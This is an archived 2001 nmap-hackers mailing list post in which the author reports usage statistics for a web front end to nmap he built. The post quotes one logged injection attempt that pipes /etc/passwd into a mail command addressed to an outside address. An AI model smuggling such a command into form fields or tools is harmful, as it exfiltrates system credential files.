Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Nmap Hackers: nmap + html-front end - status

nmap + html-front end - status

From: Alvin Oga <alvin.sec_at_Mail.Linux-Consulting.com>
Date: Wed, 27 Jun 2001 19:03:19 -0700 (PDT)

hi nmap experts/users

thanx for all your feedbacks and comments....

--
-- very good job to fyodor for his/their nmap work....
--
thought i'd send an update... ( at least i thought it's interesting ...
- so far, we've had about 3000 scans done ....
	cat  nmap.log_file | wc -l
	   2927
	-
	- people trying to scan outside their domains
	-	( after the first day of open/anonymous scans was closed )
	-
	grep ERROR2: nmap.log_file | wc -l
	   397
	- one guy/girl tried to do:
		 mail -s test gottatry_at_theirdomain.com < /etc/passwd
- so far, my ISP sent me an emai, of why i scanned someones
  server .... ( and told the ISP security guyz that i have this
  nmap front end thingie to help simplify security issues on servers
  and have not heard back since ....
	- since i dont know who got scanned, i couldn't tell um
	who performed that scan... etc
- one other scan occurred to someone and i'm still trying to 
  find out how and who scanned um .... 
- other issue .... more importantly ???
	- some of you are behind a firewall and/or IP masquerade
	so the $ENV{REMOTE_ADDR} and $ENV{REMOTE_HOST} is the
	wrong ip# to be scanning ...
	- i'd guess we'd have to add some javascript code to 
	identify your real ip# ???
-
- overall ... was/is a fun project ... simple too...
-
thanx for your comments
alvin
http://www.Linux-Sec.net/Audit/nmap.test.gwif.html
- there's other tests too..
	- open relays
	- dns tests
	- filesystem and passwd tests
>hi ya nmap-experts...
>
>for fun.... i added a page that one can specify the ip#
>for an nmap scan ... for services/daemons to close off
>
>http://www.Linux-Sec.net/Audit/nmap.test.html
>
>
>what do you nmap-experts think ???
>
--------------------------------------------------
For help using this (nmap-hackers) mailing list, send a blank email to 
nmap-hackers-help_at_insecure.org . List run by ezmlm-idx (www.ezmlm.org).
Received on Jun 28 2001
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]